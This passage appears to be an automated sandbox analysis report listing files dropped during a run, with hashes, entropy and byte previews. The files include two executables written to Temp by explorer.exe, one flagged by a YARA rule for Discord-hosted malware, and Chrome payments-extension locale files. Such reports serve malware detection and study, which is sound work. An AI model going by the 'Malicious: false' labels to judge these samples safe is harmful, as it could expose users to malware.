MD5:	27E7D6FAA08A1A69CB7C62D199B1B4F6
SHA1:	507F02D50BA701760A6D2303A648563030FB3ECD
SHA-256:	3896AD778346B9D5B04331410015969F2AF655B6277DBF612721027B73173E50
SHA-512:	7100ED807C5C1C56D5A3FCB4E69BE326F5D14BC44076E2E35355E6B8E3A175ED1B9FF4BC9C82FBCB1C19D1DD552E1D9242CD17CD5C44F9320C067ACA301D1059
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......j@...!.R.!.R.!.R'Y.R4!.R'Y.R.!.R'Y.R=!.R.!.R.!.R'Y.Ry!.R'Y.R/!.R'Y.R/!.R'Y.R/!.RRich.!.R........PE..L....ALV.....................~......\.............@..........................`..........................................3...............xE..........................................................@...@...............(............................text...)........................... ..`.rdata...F.......H..................@..@.data...(.... ......................@....rsrc...xE.......F..."..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F1AC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3904000
Entropy (8bit):	7.959244774483495
Encrypted:	false
SSDEEP:	98304:zvl5DY66TDyQmymjivZkn7ikGqoa2+GEm:LY1TmlGv2nm2oa2+G
MD5:	3D0D60FAAE1EDD40DBF2CC9906FE2EC4
SHA1:	53B3CFBF2EBFFFD09932EF3DDC54BD993F2AD921
SHA-256:	D5758DC0615523F537C19BC7D9C6D7C530AAF3749C57147D6264EEA0DD24522A
SHA-512:	38F8701FC34D1FDD32B74EB3941180D542E859E2B3A2630767C2D0E3F992B4F5199DE38CEA6B67FC570FFE2C83F010F1DA4028519616272F36D01D887339103D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....ya.........."......T...:9..........`8...@...... ........................;......`<...`...@......@............... ................................:.d............................................................................................`8.H...........Cgw(.O~.$+8.. ...,8.................@....text....S...`8..T...08............. ..`.rsrc...d.....:.......:.............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FD36.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	516536
Entropy (8bit):	7.850812641211313
Encrypted:	false
SSDEEP:	12288:qw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+ymtE:qVhdLVg2Zep7njXzPDxC+TE
MD5:	C55C023A1BEA32E71A99614D39DC4DD6
SHA1:	44809A18A01B2647C9A80AF0EF9CA131EEF34E97
SHA-256:	D7241A7DA97FDEFE199F23605BFAB8F878728A71F4B1B12F26AA83F775AE2FC5
SHA-512:	5A4A071A5CE5EB921738324AF71A8434DF5AF2219016006A0002D6918DCADAD8580BEF6D4973F05ACD9FF68C23DE6B8C3F6308709294DAD03D024068C9F42667
Malicious:	false
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\FD36.exe, Author: Florian Roth
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............~.... ........@.. .......................@.......'....`.................................$...W............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`.......H........t..<k...........Y..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\b5413f89-defe-45b0-937c-d1bd1fcda4f6.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	768843
Entropy (8bit):	7.992932603402907
Encrypted:	true
SSDEEP:	12288:cK2ED9wjXNC1Gse83ru82/u0eKhgxuPFrDXgtbPz54Pm1D0fBmfH1sBrJ9mTiDga:cK2ED9I48seur0/uZKCuPNbgtbz6m1ob
MD5:	A11D5CAF6BF849AEB84B0C95B1C3B7CF
SHA1:	27F410CCBD75852C01C7464A1FD7EF8C29BE3916
SHA-256:	D0E62ACE64AFC334330A7AC3A2CC657914FEB321F1F89AEE11D2A6D0E7D81C31
SHA-512:	086C124DE3A01BE467647F3BCB4EA05105F690AB45417A0E3D38935ABA9E2381DF59AF98D0FFF7823CEFD5390B48807352E135AC70977AED7B413A8CC48FB590
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........6W..>Nuw9..R{c...Nq.H.K..A!....`v.k+..?.5.>v.....;.._~....tp....x.q.V...7.m.O.~.{!.o/q.'..BK..4./?'.....L..fH&.._<..&.p.k^..\s...:1y..F.N.+...X.PO@Mo....X.G1:..Y.@;..j..........=ae...0.......DU....n...n.;.Ipr..Q....:... <.....a.Y....{ei........0..0....H............0.......Mbh=.[O}.+..U.KHF(n3.\"...,g.c...6)..(.E...U...#.i.a..:...N.....P...x.O...(mC;\|.5.S.{m.aEx...[..fP.i`.y..5..R....v.$......l-m.............m....ni...`..W.....R.p.b.+...+.\k.R$e~.J\.&c%.d...M..j..V.%...+1F....D....X\.1ct.<........E.B.+.i@...8..^...&YR...I.o...,.....[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. D.'.N@.(..GK....m...A.0.."

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\5b81b21e-8488-49fb-af11-a55e6b006d71.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	248531
Entropy (8bit):	7.963657412635355
Encrypted:	false
SSDEEP:	3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL
MD5:	541F52E24FE1EF9F8E12377A6CCAE0C0
SHA1:	189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
SHA-256:	81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
SHA-512:	D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f\|.~.c.4.E.......0..0....H............0.......).'..b.$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.\|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$\|..\|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...\|!..A..L.+.=...kP.!.1..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\bg\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	796
Entropy (8bit):	4.864931792423268
Encrypted:	false
SSDEEP:	12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD
MD5:	6F8E288A9AD5B1ED8633B430E2B4D4CA
SHA1:	F671D3D4BEFA431D1946D706F4192D44E29B6F08
SHA-256:	A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8
SHA-512:	0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F7700C
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "........ . ... ........ .. Chrome".. },.. "app_name": {.. "message": "........ . ... ........ .. Chrome".. },.. "craw_app_unavailable": {.. "message": "........... .... ...... .. .............".. },.. "craw_connect_to_network": {.. "message": "...., ........ .. . ......".. },.. "iap_unavailable": {.. "message": "........... .... ...... .. .......... ....... .. .........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "...., ...... . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\ca\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	675
Entropy (8bit):	4.536753193530313
Encrypted:	false
SSDEEP:	12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD
MD5:	1FDAFC926391BD580B655FBAF46ED260
SHA1:	C95743C3F43B2B099FEBEBC5BD850F0C20E820AC
SHA-256:	C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20
SHA-512:	39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CBB4
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Ara mateix aquesta aplicaci. no est. disponible.".. },.. "craw_connect_to_network": {.. "message": "Connecteu-vos a una xarxa.".. },.. "iap_unavailable": {.. "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicieu la sessi. a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\cs\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	641
Entropy (8bit):	4.698608127109193
Encrypted:	false
SSDEEP:	12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW
MD5:	76DEC64ED1556180B452A13C83171883
SHA1:	CFB1E56FD587BCDC459C1D9A683B71F9849058F9
SHA-256:	32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40
SHA-512:	5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885CB
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "app_name": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikace v sou.asn. dob. nen. dostupn..".. },.. "craw_connect_to_network": {.. "message": "P.ipojte se pros.m k s.ti.".. },.. "iap_unavailable": {.. "message": "Platby v aplikaci aktu.ln. nejsou k dispozici.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "P.ihlaste se do Chromu.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\da\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.5289746475384565
Encrypted:	false
SSDEEP:	12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD
MD5:	238B97A36E411E42FF37CEFAF2927ED1
SHA1:	4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0
SHA-256:	4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9
SHA-512:	FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53E0A
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Betalinger i Chrome Webshop".. },.. "app_name": {.. "message": "Betalinger i Chrome Webshop".. },.. "craw_app_unavailable": {.. "message": "Appen er ikke tilg.ngelig i .jeblikket.".. },.. "craw_connect_to_network": {.. "message": "Opret forbindelse til et netv.rk.".. },.. "iap_unavailable": {.. "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Log ind p. Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\de\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	651
Entropy (8bit):	4.583694000020627
Encrypted:	false
SSDEEP:	12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj
MD5:	6B3E916E8C1991AA0453CBA00FEDCAAA
SHA1:	D6366D15912E40CA107FD42BFE9579C3336A51F9
SHA-256:	A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053
SHA-512:	87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80552
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Store-Zahlungen".. },.. "app_name": {.. "message": "Chrome Web Store-Zahlungen".. },.. "craw_app_unavailable": {.. "message": "Die App ist momentan nicht verf.gbar.".. },.. "craw_connect_to_network": {.. "message": "Bitte stellen Sie eine Verbindung zu einem Netzwerk her.".. },.. "iap_unavailable": {.. "message": "In-App-Zahlungen sind momentan nicht m.glich.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Bitte melden Sie sich in Chrome an.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\el\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.973349962793468
Encrypted:	false
SSDEEP:	24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD
MD5:	05C437A322C1148B5F78B2F341339147
SHA1:	AB53003A678E44A170E73711FBD9949833BBF3AA
SHA-256:	A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070
SHA-512:	C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B40
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "........ ... Chrome Web Store".. },.. "app_name": {.. "message": "........ ... Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": ". ........ .... .. ..... ... ..... ..........".. },.. "craw_connect_to_network": {.. "message": ".......... .. ... .......".. },.. "iap_unavailable": {.. "message": ".. ........ ..... ......... ... ..... ..... .. ...... ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": ".......... ... Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\en\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.483686991119526
Encrypted:	false
SSDEEP:	12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD
MD5:	91F5BC87FD478A007EC68C4E8ADF11AC
SHA1:	D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
SHA-256:	92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
SHA-512:	FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\en_GB\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.483686991119526
Encrypted:	false
SSDEEP:	12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD
MD5:	91F5BC87FD478A007EC68C4E8ADF11AC
SHA1:	D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
SHA-256:	92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
SHA-512:	FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\es\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	661
Entropy (8bit):	4.450938335136508
Encrypted:	false
SSDEEP:	12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD
MD5:	82719BD3999AD66193A9B0BB525F97CD
SHA1:	41194D511F1ACC16C1CA828AC81C18C8C6B47287
SHA-256:	4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7
SHA-512:	D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE0128
Malicious:	false
Reputation:	unknown
Preview:	{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicia sesi.n en Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\es_419\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	510
Entropy (8bit):	4.719977015734499
Encrypted:	false
SSDEEP:	12:YGGYpDbKEzebFcjwWtpML4c9WO/NrnLAOK:YHYpqEzoFmpMLBWOFvAOK
MD5:	1FD5DAF46C4D7C4F571C263EC37B943B
SHA1:	A57EE5EF6861F88005C2230EA3D633A1B4CA105A
SHA-256:	BCC2CF06F66E9E3BB4B7887D0EE0AE4A72A6C49F4B2A578A7733B78208984417
SHA-512:	79C3104F1DC51B17B062803209029C8165DBD391FBE0B69BB406D7B4F92FE1898CAC30E20C2E5CFB65D643B978095626C68EAA0CFCA064354D52D52D16BF21A9
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Esta aplicaci\u00f3n no est\u00e1 disponible en este momento."},"craw_connect_to_network":{"message":"Con\u00e9ctate a una red."},"app_name":{"message":"Sistema de pagos de Chrome Web Store"},"app_description":{"message":"Sistema de pagos de Chrome Web Store"},"iap_unavailable":{"message":"En este momento, Pagos En-Apps no est\u00e1 disponible."},"please_sign_in":{"message":"Accede a Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\et\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	460
Entropy (8bit):	4.679279844668757
Encrypted:	false
SSDEEP:	6:YGGYpkeVeVfCb53Q67PZV6pPQpkjA5DeY68AoLRcZplNgCnGcPxYA8KoOK:YGGYpv2A77PrQPQpT/AoLRO/NrnLAOK
MD5:	0293A7BAE6EEE62C4067A80E262D6A2D
SHA1:	E76B07BD49FFBBFB6841B7335CBE7A9620714402
SHA-256:	D06F20D4D68D1DBB89EF7D8E405D9499CB2EB2560217CD5B4A51AB1DD50CAB44
SHA-512:	8BF97DA4038A9C4426A285D5FEF0953F4E7E6D0667091A39DE4D4C5B4C35FC7B6A804425DBB4B82356A93950738E4F0937DE1AD777AE75AAC9BFB97D63F771E0
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Rakendus pole praegu saadaval."},"craw_connect_to_network":{"message":"Looge \u00fchendus v\u00f5rguga."},"app_name":{"message":"Chrome'i veebipoe maksed"},"app_description":{"message":"Chrome'i veebipoe maksed"},"iap_unavailable":{"message":"Rakendusesisesed maksed ei ole praegu saadaval."},"please_sign_in":{"message":"Logige Chrome'i sisse."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\fi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	568
Entropy (8bit):	4.768364810051887
Encrypted:	false
SSDEEP:	12:YGGYpQTajDRdes6KUVJ8epQTNufIRdes6K27lO/NrnLAOK:YHYpQ67esNMpQJufI7esN27lOFvAOK
MD5:	E5BBE7DBBE75F45BDCD49DB8C797106E
SHA1:	0F069D7D19768180945F0D8B67DC71262FD586A2
SHA-256:	BFFB2248B4C66306133FA6ECBB1541F44B3BE22CC8D9A338D690E0B1D0C85532
SHA-512:	F6FE20B7A3B99BDBBF6F4737C8C63FE3098F060E6791BC40ED0E95FA5F93AA55C2643766EA2BE099E42EC378CB6E4B6FE7B5F2DA56C03A6A990B94A1F872B825
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Sovellus ei ole t\u00e4ll\u00e4 hetkell\u00e4 k\u00e4ytett\u00e4viss\u00e4."},"craw_connect_to_network":{"message":"Muodosta verkkoyhteys."},"app_name":{"message":"Chrome Web Storen maksut"},"app_description":{"message":"Chrome Web Storen maksut"},"iap_unavailable":{"message":"Sovelluksen sis\u00e4iset maksut eiv\u00e4t ole t\u00e4ll\u00e4 hetkell\u00e4 k\u00e4ytett\u00e4viss\u00e4."},"please_sign_in":{"message":"Kirjaudu sis\u00e4\u00e4n Chromeen."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\fil\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	515
Entropy (8bit):	4.699741311937528
Encrypted:	false
SSDEEP:	12:YGGYpsiwZALE0Dw9DtpsjzAvX2xSWO/NrnLAOK:YHYpsBvpsiX2xSWOFvAOK
MD5:	658DAD2AF2DC3AC1567D84E8B95F68B0
SHA1:	EE1121215960EC5ED5F7B6BDB8E4680731EBF83D
SHA-256:	978BA6D814CF290016833BBAC22DC7C05C2C575B1D6429B9BB14F8C2156BCF29
SHA-512:	F2FB93245D80E2CB2CA1BB2B0654FE92AD9041A558850D78AF4031CB83D2AD3BF5ABCFE6BC32160D028CA3914FA69A64784858A34FA56389C08D52B316346A05
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Kasalukuyang hindi available ang app."},"craw_connect_to_network":{"message":"Mangyaring kumonekta sa isang network."},"app_name":{"message":"Mga Pagbabayad sa Chrome Web Store"},"app_description":{"message":"Mga Pagbabayad sa Chrome Web Store"},"iap_unavailable":{"message":"Kasalukuyang hindi available ang Mga Pagbabayad na In-App."},"please_sign_in":{"message":"Mangyaring mag-sign in sa Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\fr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	562
Entropy (8bit):	4.717150188929866
Encrypted:	false
SSDEEP:	12:YGGYpKdgbfUSPcLf0E1UDWcLf0E1Uop6oTQpGnbgWWO/NrnLAOK:YHYpagI26Qq6QopRTQwnFWOFvAOK
MD5:	1E32A78526E3AC8108E73D384F17450B
SHA1:	BFE2E47D888BA530A27DD1BDE25C46433C2A545C
SHA-256:	80F6EE69F1E022812BCCC1DE1CDC53772CDF90F4E93224161B23FA607D45136A
SHA-512:	5504F6D440779BC96571863D60B1E175EEDDC2E65B1ABBCFCFD19123F329F2E025FBA4D49BD23E33B77FFB6061BA6645132E04D4A7DEDE77F514B2151CDDF896
Malicious:	false
Reputation:	unknown
Preview:	{"craw_app_unavailable":{"message":"Application indisponible pour le moment."},"craw_connect_to_network":{"message":"Veuillez vous connecter \u00e0 un r\u00e9seau."},"app_name":{"message":"Paiements via le Chrome\u00a0Web\u00a0Store"},"app_description":{"message":"Paiements via le Chrome\u00a0Web\u00a0Store"},"iap_unavailable":{"message":"Les paiements via l'application ne sont pas disponibles pour le moment."},"please_sign_in":{"message":"Veuillez vous connecter \u00e0 Chrome."},"jwt_retrieve_failed":{"message":"The transaction could not be completed."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6016_199353204\CRX_INSTALL\_locales\hi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	4.454461505283053
Encrypted:	false
SSDEEP:	24:YHYpINcVc0KgcNZvCjK7jK6pVi8/pBKgcNkQVcRynX6XjOFvAOK:YHYpIcQvCjIjRpVVBXPsqihQ
MD5:	B739E3B798D3EEB8AFB3E368455A8E97
SHA1:	56E206DD0AC7EB7B179911BE3F7DD78059CBD4F3
SHA-256:	BA7A53A1398168719F2ACD58CC5FE06AB0B769ECA896D70E7208B18085B42FFA
SHA-512:	181A3B1275D1D17BD48EAA77805981A96E22589A38990214AF3ED029C4A37C2F05ECF747D8FCF816C2AAED6EF82403757F234D67C360A3A6E5DB6C3F59CA1A0C
Malicious:	false
Reputation:	unknown
